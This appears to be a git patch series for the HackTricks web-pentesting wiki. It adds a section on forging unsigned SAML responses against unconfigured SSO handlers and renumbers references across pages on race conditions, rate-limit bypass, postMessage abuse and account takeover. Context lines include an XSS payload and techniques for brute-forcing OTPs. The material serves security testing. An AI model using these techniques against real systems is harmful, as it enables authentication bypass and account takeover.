From 14de31d77969ecf85381ce160631bb8a7c7b638b Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Fri, 31 Jul 2026 02:37:52 +0000 Subject: [PATCH 1/7] Add content from: Pwn2Own Ireland 2025: Bypassing Authentication via Synology ... --- src/pentesting-web/saml-attacks/README.md | 25 +++++++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/src/pentesting-web/saml-attacks/README.md b/src/pentesting-web/saml-attacks/README.md index d2cec51da44..9baa04155e1 100644 --- a/src/pentesting-web/saml-attacks/README.md +++ b/src/pentesting-web/saml-attacks/README.md @@ -223,6 +223,30 @@ You can also use the Burp extension [**SAML Raider**](https://portswigger.net/ba With the signatures removed, allow the request to proceed to the target. If the Signature isn’t required by the Service +## Fail-open SAML verification in unconfigured SSO handlers + +Some products keep the **SAML authentication endpoint reachable even when SSO was never configured**. If a constructor or config-loading error leaves security fields at language defaults such as `""` or `false`, the unconfigured path can become **less secure** than the configured one. + +### What to test + +- Reach the SAML ACS / login handler while SSO is **disabled**, **never configured**, or after deleting its config. The handler should fail closed before parsing attacker-controlled XML. +- Check whether missing configuration skips initialization of fields such as the **signature verification mode**, **trusted issuer**, **audience**, **certificate path**, or **local-user policy**, while request processing still continues. +- Look for **fail-open mode checks** such as `if mode in {response, assertion, both} verify_signature(...)` with **no rejecting `else`**. An empty / malformed mode can silently disable both response- and assertion-signature verification. +- Compare **presence checks** with **normalized comparisons**. A whitespace-only `` can satisfy `issuer != null`, then be trimmed to `""` and match an empty configured issuer. +- If time validation only runs when `` exists, try **omitting `Conditions` entirely** instead of forging timestamps. + +### Exploitation notes + +Once verification is bypassed, a **schema-valid but unsigned** `SAMLResponse` containing `Status=Success`, at least one `Assertion`, and an attacker-chosen `NameID` may be enough to authenticate as an arbitrary existing federated user. + +Practical details to check: + +- Some implementations accept the **first assertion** that passes local checks and ignore the rest. +- If local usernames are blocked but values containing `\` or `@` are allowed, target an existing **directory identity** such as `DOMAIN\Administrator` or `user@domain`. +- The forged value still needs to survive **account-resolution / canonical-name** checks performed after SAML parsing. + +A recent example of this pattern is the Synology DS925+ SAML SSO bypass documented by Chanze Lee. + ## Certificate Faking ## Certificate Faking @@ -468,5 +492,6 @@ The same parser weakness that gives an overread can also crash the SAML processi - [https://0xdf.gitlab.io/2026/03/03/htb-barrier.html](https://0xdf.gitlab.io/2026/03/03/htb-barrier.html) - [https://github.com/synacktiv/CVE-2024-45409](https://github.com/synacktiv/CVE-2024-45409) - [https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2](https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2) +- [Pwn2Own Ireland 2025: Bypassing Authentication via Synology DS925+ SAML SSO](https://chanzep.github.io/posts/pwn2own-ireland-2025-bypassing-authentication-via-synology-ds925-saml-sso) {{#include ../../banners/hacktricks-training.md}} From de84f7db045d399c0f385c845a1a73d1fb5f9f4d Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Thu, 6 Aug 2026 11:21:40 +0200 Subject: [PATCH 2/7] References audit: numbered citations for 50 pages Audits the '## References' of these pages: merges duplicated reference sections into one, numbers every entry, adds the linked [[N]](#references) citations to the content each reference is the source of, drops unused references and credits the original research. Co-Authored-By: Claude Opus 5 (1M context) --- .../postmessage-vulnerabilities/README.md | 33 +++++---- ...blocking-main-page-to-steal-postmessage.md | 10 +-- .../bypassing-sop-with-iframes-1.md | 9 +-- .../bypassing-sop-with-iframes-2.md | 12 ++-- ...l-postmessage-modifying-iframe-location.md | 7 +- .../proxy-waf-protections-bypass.md | 39 ++++++----- src/pentesting-web/race-condition.md | 49 ++++++------- src/pentesting-web/rate-limit-bypass.md | 16 ++--- .../registration-vulnerabilities.md | 23 ++++--- ...ular-expression-denial-of-service-redos.md | 22 +++--- src/pentesting-web/reset-password.md | 57 +++++++-------- src/pentesting-web/reverse-tab-nabbing.md | 10 ++- src/pentesting-web/rsql-injection.md | 45 ++++++------ src/pentesting-web/saml-attacks/README.md | 46 +++++++------ .../saml-attacks/saml-basics.md | 14 ++-- ...inclusion-edge-side-inclusion-injection.md | 27 ++++---- .../soap-jax-ws-threadlocal-auth-bypass.md | 24 +++---- src/pentesting-web/sql-injection/README.md | 39 +++++++---- .../sql-injection/cypher-injection-neo4j.md | 8 +-- .../sql-injection/ms-access-sql-injection.md | 18 ++--- .../sql-injection/mssql-injection.md | 22 +++--- .../sql-injection/mysql-injection/README.md | 35 +++++----- .../mysql-injection/mysql-ssrf.md | 7 +- .../sql-injection/oracle-injection.md | 11 +-- .../postgresql-injection/README.md | 7 +- .../big-binary-files-upload-postgresql.md | 19 +++-- .../dblink-lo_import-data-exfiltration.md | 7 +- ...and-ntlm-chanllenge-response-disclosure.md | 11 +-- .../pl-pgsql-password-bruteforce.md | 9 +-- .../rce-with-postgresql-extensions.md | 19 ++--- .../rce-with-postgresql-languages.md | 6 +- src/pentesting-web/sql-injection/sqlmap.md | 14 ++-- .../sql-injection/sqlmap/README.md | 7 +- .../sqlmap/second-order-injection-sqlmap.md | 10 +-- .../README.md | 41 +++++------ .../cloud-ssrf.md | 8 +-- .../README.md | 24 +++---- src/pentesting-web/timing-attacks.md | 18 ++--- .../unicode-injection/README.md | 18 ++--- .../unicode-normalization.md | 30 ++++---- src/pentesting-web/uuid-insecurities.md | 9 +-- src/pentesting-web/web-tool-wfuzz.md | 8 +-- .../web-vulnerabilities-methodology.md | 37 +++++----- src/pentesting-web/websocket-attacks.md | 69 ++++++++++--------- src/pentesting-web/xs-search.md | 23 +++---- .../xs-search/connection-pool-example.md | 18 ++--- .../cookie-bomb-+-onerror-xs-leak.md | 29 ++++---- .../xs-search/css-injection/README.md | 69 +++++++++++-------- .../angr/README.md | 7 +- .../angr/angr-examples.md | 7 +- 50 files changed, 570 insertions(+), 537 deletions(-) diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md index 413014c0053..03e8d878b56 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/README.md +++ b/src/pentesting-web/postmessage-vulnerabilities/README.md @@ -39,7 +39,7 @@ If the **wildcard** is used, **messages could be sent to any domain**, and will ### Attacking iframe & wildcard in **targetOrigin** As explained in [**this report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) if you find a page that can be **iframed** (no `X-Frame-Header` protection) and that is **sending sensitive** message via **postMessage** using a **wildcard** (\*), you can **modify** the **origin** of the **iframe** and **leak** the **sensitive** message to a domain controlled by you.\ -Note that if the page can be iframed but the **targetOrigin** is **set to a URL and not to a wildcard**, this **trick won't work**. +Note that if the page can be iframed but the **targetOrigin** is **set to a URL and not to a wildcard**, this **trick won't work**.[[3]](#references) ```html @@ -132,7 +132,7 @@ In order to **find event listeners** in the current page you can: If a receiver only checks **`event.origin`** (e.g., trusts any `*.trusted.com`) you can often find a **"relay" page on that origin that echoes attacker-controlled params via `postMessage`** to a supplied `targetOrigin`/`targetWindow`. Examples include marketing/analytics gadgets that take query params and forward `{msg_type, access_token, ...}` to `opener`/`parent`. You can: -- **Open the victim page in a popup/iframe that has an `opener`** so its handlers register (many pixels/SDKs only attach listeners when `window.opener` exists). +- **Open the victim page in a popup/iframe that has an `opener`** so its handlers register (many pixels/SDKs only attach listeners when `window.opener` exists).[[4]](#references) - **Navigate another attacker window to the relay endpoint on the trusted origin**, populating message fields you want injected (message type, tokens, nonces). - Because the message now comes **from the trusted origin**, origin-only validation passes and you can trigger privileged behaviors (state changes, API calls, DOM writes) in the victim listener. @@ -181,7 +181,7 @@ bypassing-sop-with-iframes-2.md ### X-Frame-Header bypass In order to perform these attacks ideally you will be able to **put the victim web page** inside an `iframe`. But some headers like `X-Frame-Header` can **prevent** that **behaviour**.\ -In those scenarios you can still use a less stealthy attack. You can open a new tab to the vulnerable web application and communicate with it: +In those scenarios you can still use a less stealthy attack. You can open a new tab to the vulnerable web application and communicate with it:[[2]](#references) ```html #changing the case of the tag @@ -279,14 +279,15 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri ## References -- [https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/](https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/) -- [https://www.hacktron.ai/blog/react2shell-vercel-waf-bypass](https://www.hacktron.ai/blog/react2shell-vercel-waf-bypass) -- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) -- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) -- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g) -- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) -- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) -- [https://github.com/mscdex/busboy/blob/6b3dcf69d38c1a8d53a0b3e4c88ba296f6c91525/lib/utils.js#L403-L406](https://github.com/mscdex/busboy/blob/6b3dcf69d38c1a8d53a0b3e4c88ba296f6c91525/lib/utils.js#L403-L406) - +- [1] [Exploiting HTTP Parsers Inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) +- [2] [ModSecurity: Path Confusion and Really Easy Bypass on v2 and v3](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) +- [3] [$170k in Bypasses: The Vercel React2Shell Challenge](https://www.hacktron.ai/blog/react2shell-vercel-waf-bypass) +- [4] [busboy - lib/utils.js (charset-to-decoder mapping)](https://github.com/mscdex/busboy/blob/6b3dcf69d38c1a8d53a0b3e4c88ba296f6c91525/lib/utils.js#L403-L406) +- [5] [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) +- [6] [WAF Bypassing with Unicode Compatibility](https://jlajara.gitlab.io/Bypass_WAF_Unicode) +- [7] [Exploring JavaScript Events: Bypassing WAFs via Character Normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) +- [8] [Turning a Harmless XSS Behind a WAF into a Realistic Phishing Vector](https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/) +- [9] [5 Ways I Bypassed Your Web Application Firewall (WAF)](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) +- [10] [#NahamCon2024: Modern WAF Bypass Techniques on Large Attack Surfaces](https://www.youtube.com/watch?v=0OMmWtU2Y_g) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md index 760fabfd16f..f9ee3dec4ff 100644 --- a/src/pentesting-web/race-condition.md +++ b/src/pentesting-web/race-condition.md @@ -3,7 +3,7 @@ {{#include ../banners/hacktricks-training.md}} > [!WARNING] -> For obtaining a deep understanding of this technique check the original report in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) +> For obtaining a deep understanding of this technique check the original report in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)[[1]](#references) ## Enhancing Race Condition Attacks @@ -28,7 +28,7 @@ The subsequent sending of withheld frames should result in their arrival in a si #### HTTP/3 Last‑Frame Synchronization (QUIC) - **Concept**: HTTP/3 rides over QUIC (UDP). There’s no TCP coalescing or Nagle to rely on, so classic last‑byte sync doesn’t work with off‑the‑shelf clients. Instead, you need to deliberately coalesce multiple QUIC stream‑final DATA frames (FIN) into the same UDP datagram so the server processes all target requests in the same scheduling tick. -- **How to do it**: Use a purpose‑built library that exposes QUIC frame control. For example, H3SpaceX manipulates quic-go to implement HTTP/3 last‑frame synchronization for both requests with a body and GET‑style requests without a body. +- **How to do it**: Use a purpose‑built library that exposes QUIC frame control. For example, H3SpaceX manipulates quic-go to implement HTTP/3 last‑frame synchronization for both requests with a body and GET‑style requests without a body.[[2]](#references) - Requests‑with‑body: send HEADERS + DATA minus the last byte for N streams, then flush the final byte of each stream together. - GET‑style: craft fake DATA frames (or a tiny body with Content‑Length) and end all streams in one datagram. - **Practical limits**: @@ -68,7 +68,7 @@ func main() { #### HTTP/3 Practical Tooling -- **QuicDraw(H3)** is a ready-made CLI/UI for HTTP/3 race testing. It implements `Quic-Fin-Sync`, so it is handy when you want to replay the same request many times (`-tr`) or fuzz a request by placing `FUZZ` in the POST body and feeding a wordlist with `-w`. +- **QuicDraw(H3)** is a ready-made CLI/UI for HTTP/3 race testing. It implements `Quic-Fin-Sync`, so it is handy when you want to replay the same request many times (`-tr`) or fuzz a request by placing `FUZZ` in the POST body and feeding a wordlist with `-w`.[[3]](#references) - Logging QUIC secrets with `-l /tmp/sslkeys.log` makes Wireshark verification much easier, because you can confirm whether the final frames were actually coalesced and whether packet loss/fragmentation ruined the release point. - A practical consequence from newer HTTP/3 research is that **failing with 2-10 requests does not prove an H3 target is safe**. User-space QUIC stacks may absorb small bursts and only start collapsing into a useful race window once you push much higher concurrency, so test more streams and, if needed, multiple QUIC connections. @@ -171,10 +171,10 @@ Content-Length: 0
-- **PacketSprinter (Burp extension)**: Useful when you want the **HTTP/2 single-packet** workflow without writing Turbo Intruder code. It lets you duplicate a base request in bulk, send the whole batch in parallel, and compare every response side by side. +- **PacketSprinter (Burp extension)**: Useful when you want the **HTTP/2 single-packet** workflow without writing Turbo Intruder code. It lets you duplicate a base request in bulk, send the whole batch in parallel, and compare every response side by side.[[4]](#references) - Great for quick **limit-overrun**, **coupon/gift-card**, and **order-placement** tests where the main question is “which requests won?”. - Current caveats: it focuses on **HTTP/2**. It does **not** replace **HTTP/1.1 last-byte sync** or **HTTP/3** tooling. -- **Recent Burp builds** improved the accuracy of the built-in single-packet attack for **very small race windows**. If an old test only worked sporadically, repeat it with an up-to-date Burp build before assuming the target is fixed. +- **Recent Burp builds** improved the accuracy of the built-in single-packet attack for **very small race windows**. If an old test only worked sporadically, repeat it with an up-to-date Burp build before assuming the target is fixed.[[5]](#references) - **Automated python script**: The goal of this script is to change the email of a user while continually verifying it until the verification token of the new email arrives to the last email (this is because in the code it was seeing a RC where it was possible to modify an email but have the verification sent to the old one because the variable indicating the email was already populated with the first one).\ When the word "objetivo" is found in the received emails we know we received the verification token of the changed email and we end the attack. @@ -314,7 +314,7 @@ while "objetivo" not in response.text: ### Improving Single Packet Attack -In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms. +In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms.[[6]](#references) Note that although this improvement makes the attack more reliable in RC that requires hundreds/thousands of packets to arrive at the same time, it might also have some software limitations. Some popular HTTP servers like Apache, Nginx and Go have a strict `SETTINGS_MAX_CONCURRENT_STREAMS` setting to 100, 128 and 250. However, others like NodeJS and nghttp2 have it unlimited.\ This basically means that Apache will only consider 100 HTTP connections from a single TCP connection (limiting this RC attack). For HTTP/3, the analogous limit is QUIC’s max_streams transport parameter – if it’s small, spread your race across multiple QUIC connections. @@ -382,7 +382,7 @@ asyncio.run(main()) ### Limit-overrun / TOCTOU -This is the most basic type of race condition where **vulnerabilities** that **appear** in places that **limit the number of times you can perform an action**. Like using the same discount code in a web store several times. A very easy example can be found in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) or in [**this bug**](https://hackerone.com/reports/759247)**.** +This is the most basic type of race condition where **vulnerabilities** that **appear** in places that **limit the number of times you can perform an action**. Like using the same discount code in a web store several times. A very easy example can be found in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) or in [**this bug**](https://hackerone.com/reports/759247)**.**[[7]](#references)[[8]](#references) There are many variations of this kind of attack, including: @@ -442,7 +442,7 @@ Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaw ### Checkout snapshot / balance masking -A very common modern e-commerce variant is to start **`/checkout`** while simultaneously changing the **cart**, **gift-card balance**, **store credit**, or **coupon state**. If the checkout path snapshots one object early and later commits against a partially stale view, you can **overdraw balances** or **obtain items added after the payment check**. +A very common modern e-commerce variant is to start **`/checkout`** while simultaneously changing the **cart**, **gift-card balance**, **store credit**, or **coupon state**. If the checkout path snapshots one object early and later commits against a partially stale view, you can **overdraw balances** or **obtain items added after the payment check**.[[9]](#references) This is especially worth testing when: @@ -456,7 +456,7 @@ The idea is to **verify an email address and change it to a different one at the ### Change email to 2 emails addresses Cookie based -According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**. +According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**.[[1]](#references) **Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.** @@ -500,24 +500,25 @@ See [**OAuth to Account Takeover**](oauth-to-account-takeover.md) for more OAuth ## **RC in WebSockets** - In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**. -- With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py). +- With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).[[10]](#references)[[11]](#references)[[12]](#references) - The extension is now in PortSwigger’s **BApp Store**, which makes ad-hoc WS race testing much easier during a normal Burp assessment. ## References -- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247) -- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html) -- [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140) -- [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) -- [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions) -- [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) -- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine) -- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder) -- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py) -- [H3SpaceX (HTTP/3 last‑frame sync) – Go package docs](https://pkg.go.dev/github.com/nxenon/h3spacex) -- [PacketSprinter: Simplifying HTTP/2 Single‑Packet Testing (Route Zero blog)](https://routezero.security/2024/11/17/introducing-packetsprinter-for-burp-suite-simplifying-http-2-single-packet-attack-testing/) -- [Racing and Fuzzing HTTP/3: Open-sourcing QuicDraw(H3)](https://www.cyberark.com/resources/threat-research-blog/racing-and-fuzzing-http-3-open-sourcing-quicdraw) -- [Allow to enable lock for order placement · Issue #7325](https://github.com/nopSolutions/nopCommerce/issues/7325) -- [What's new in Burp Suite Professional: A year of innovation](https://portswigger.net/blog/whats-new-in-burp-suite-professional-a-year-of-innovation) +- [1] [Smashing the state machine: the true potential of web race conditions](https://portswigger.net/research/smashing-the-state-machine) +- [2] [H3SpaceX (HTTP/3 last‑frame sync) – Go package docs](https://pkg.go.dev/github.com/nxenon/h3spacex) +- [3] [Racing and Fuzzing HTTP/3: Open-sourcing QuicDraw(H3)](https://www.cyberark.com/resources/threat-research-blog/racing-and-fuzzing-http-3-open-sourcing-quicdraw) +- [4] [PacketSprinter: Simplifying HTTP/2 Single‑Packet Testing (Route Zero blog)](https://routezero.security/2024/11/17/introducing-packetsprinter-for-burp-suite-simplifying-http-2-single-packet-attack-testing/) +- [5] [What's new in Burp Suite Professional: A year of innovation](https://portswigger.net/blog/whats-new-in-burp-suite-professional-a-year-of-innovation) +- [6] [Beyond the Limit: Expanding Single Packet Race Condition with First Sequence Sync](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) +- [7] [HackerOne report #759247](https://hackerone.com/reports/759247) +- [8] [RACE Condition vulnerability found in bug-bounty program](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) +- [9] [Allow to enable lock for order placement · Issue #7325](https://github.com/nopSolutions/nopCommerce/issues/7325) +- [10] [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine) +- [11] [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder) +- [12] [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py) +- [13] [Race Conditions - exploring the possibilities](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html) +- [14] [HackerOne report #55140](https://hackerone.com/reports/55140) +- [15] [PortSwigger Web Security Academy - Race conditions](https://portswigger.net/web-security/race-conditions) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/rate-limit-bypass.md b/src/pentesting-web/rate-limit-bypass.md index a2f7e007bce..f352e22632a 100644 --- a/src/pentesting-web/rate-limit-bypass.md +++ b/src/pentesting-web/rate-limit-bypass.md @@ -52,7 +52,7 @@ If the target system applies rate limits on a per-account or per-session basis, ### Keep Trying -Note that even if a rate limit is in place you should try to see if the response is different when the valid OTP is sent. In [**this post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), the bug hunter discovered that even if a rate limit is triggered after 20 unsuccessful attempts by responding with 401, if the valid one was sent a 200 response was received. +Note that even if a rate limit is in place you should try to see if the response is different when the valid OTP is sent. In [**this post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), the bug hunter discovered that even if a rate limit is triggered after 20 unsuccessful attempts by responding with 401, if the valid one was sent a 200 response was received.[[1]](#references) --- @@ -86,7 +86,7 @@ mutation bruteForceOTP { Look at the response: exactly one alias will return 200 OK when the correct code is hit, while the others are rate-limited. -The technique was popularised by PortSwigger’s research on “GraphQL batching & aliases” in 2023 and has been responsible for many recent bug-bounty payouts. +The technique was popularised by PortSwigger’s research on “GraphQL batching & aliases” in 2023 and has been responsible for many recent bug-bounty payouts.[[2]](#references) ### Abuse of *batch* or *bulk* REST endpoints @@ -112,7 +112,7 @@ This simple optimisation can more than double your throughput without touching a ### Upgrading to WebSockets / gRPC streaming after the handshake -Many edge rate-limiters only inspect the **initial HTTP request**. Once the connection is upgraded to WebSocket (HTTP 101) or gRPC bidirectional streaming, subsequent messages often bypass request-per-second counters because they are no longer separate HTTP requests. Cloudflare’s own docs note that only the initial upgrade request is subject to WAF/rate-limiting rules; frames sent afterwards are opaque. +Many edge rate-limiters only inspect the **initial HTTP request**. Once the connection is upgraded to WebSocket (HTTP 101) or gRPC bidirectional streaming, subsequent messages often bypass request-per-second counters because they are no longer separate HTTP requests. Cloudflare’s own docs note that only the initial upgrade request is subject to WAF/rate-limiting rules; frames sent afterwards are opaque.[[3]](#references) Practical workflow: @@ -132,7 +132,7 @@ If the login/OTP endpoint exposes both HTTP and WebSocket/gRPC variants, establi ### Exploiting CDN PoP‑sharded counters -Some CDNs shard rate-limit counters **per data center/PoP instead of globally**. Cloudflare explicitly states counters are not shared across data centers. By routing requests through egress nodes in many regions (residential proxy pools, anycast VPNs, or cloud VMs pinned to different continents), you multiply the allowed throughput: every PoP maintains an independent bucket for the same key. +Some CDNs shard rate-limit counters **per data center/PoP instead of globally**. Cloudflare explicitly states counters are not shared across data centers.[[4]](#references) By routing requests through egress nodes in many regions (residential proxy pools, anycast VPNs, or cloud VMs pinned to different continents), you multiply the allowed throughput: every PoP maintains an independent bucket for the same key. Quick and dirty layout using open proxies (example with `proxychains` + a country‑rotating list): @@ -156,9 +156,9 @@ Make sure the limiter key is not per-account; otherwise also rotate user IDs / s ## References -- [PortSwigger Research – “Bypassing rate limits with GraphQL aliasing” (2023)](https://portswigger.net/research/graphql-authorization-bypass) -- [PortSwigger Research – “HTTP/2: The Sequel is Always Worse” (connection-based throttling) (2024)](https://portswigger.net/research/http2) -- [Cloudflare Docs – WebSockets & WAF applicability (2025)](https://developers.cloudflare.com/network/websockets/) -- [Cloudflare Docs – Request rate calculation and PoP-local counters (2025)](https://developers.cloudflare.com/waf/rate-limiting-rules/request-rate/) +- [1] [The $2,200 ATO most bug hunters overlooked by closing Intruder too soon](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732) +- [2] [PortSwigger Web Security Academy – GraphQL API vulnerabilities: Bypassing rate limiting using aliases](https://portswigger.net/web-security/graphql) +- [3] [Cloudflare Docs – WebSockets & WAF applicability](https://developers.cloudflare.com/network/websockets/) +- [4] [Cloudflare Docs – Request rate calculation and PoP-local counters](https://developers.cloudflare.com/waf/rate-limiting-rules/request-rate/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/registration-vulnerabilities.md b/src/pentesting-web/registration-vulnerabilities.md index a473c0bfdc2..d8f6bc1d30c 100644 --- a/src/pentesting-web/registration-vulnerabilities.md +++ b/src/pentesting-web/registration-vulnerabilities.md @@ -75,7 +75,7 @@ captcha-bypass.md ### Contact-discovery / identifier-enumeration oracles -Phone-number–centric messengers expose a **presence oracle** whenever the client syncs contacts. Replaying WhatsApp’s discovery requests historically delivered **>100M lookups per hour**, enabling near-complete account enumerations. +Phone-number–centric messengers expose a **presence oracle** whenever the client syncs contacts. Replaying WhatsApp’s discovery requests historically delivered **>100M lookups per hour**, enabling near-complete account enumerations.[[1]](#references) **Attack workflow** @@ -204,7 +204,7 @@ Practical tips - pending email/phone change capabilities are cancelled, - previously linked IdPs/emails/phones are re‑verified. -Note: Extensive methodology and case studies of these techniques are documented by Microsoft’s pre‑hijacking research (see References at the end). +Note: Extensive methodology and case studies of these techniques are documented by Microsoft’s pre‑hijacking research (see References at the end).[[2]](#references) {{#ref}} reset-password.md @@ -289,7 +289,7 @@ Try to determine if the token expire or if it’s always the same, in some cases 4. Connect to the victim account with the new password. The platform CTFd was vulnerable to this attack.\ -See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) +See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)[[4]](#references) ### Account Takeover Via Cross Site Scripting @@ -317,9 +317,7 @@ GET http://something.burpcollaborator.net HTTP/1.1 X: X ``` -Hackerone reports exploiting this bug\ -* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\ -* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666) +Hackerone reports exploiting this bug.[[5]](#references)[[6]](#references) ### Account Takeover via CSRF @@ -340,7 +338,7 @@ hacking-jwt-json-web-tokens.md ## Registration-as-Reset (Upsert on Existing Email) -Some signup handlers perform an upsert when the provided email already exists. If the endpoint accepts a minimal body with an email and password and does not enforce ownership verification, sending the victim's email will overwrite their password pre-auth. +Some signup handlers perform an upsert when the provided email already exists. If the endpoint accepts a minimal body with an email and password and does not enforce ownership verification, sending the victim's email will overwrite their password pre-auth.[[7]](#references) - Discovery: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch. - Method hints: a GET returning messages like "Only POST request is allowed." often indicates the correct verb and that a JSON body is expected. @@ -364,9 +362,12 @@ Impact: Full Account Takeover (ATO) without any reset token, OTP, or email verif ## References -- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1) -- [Microsoft MSRC – 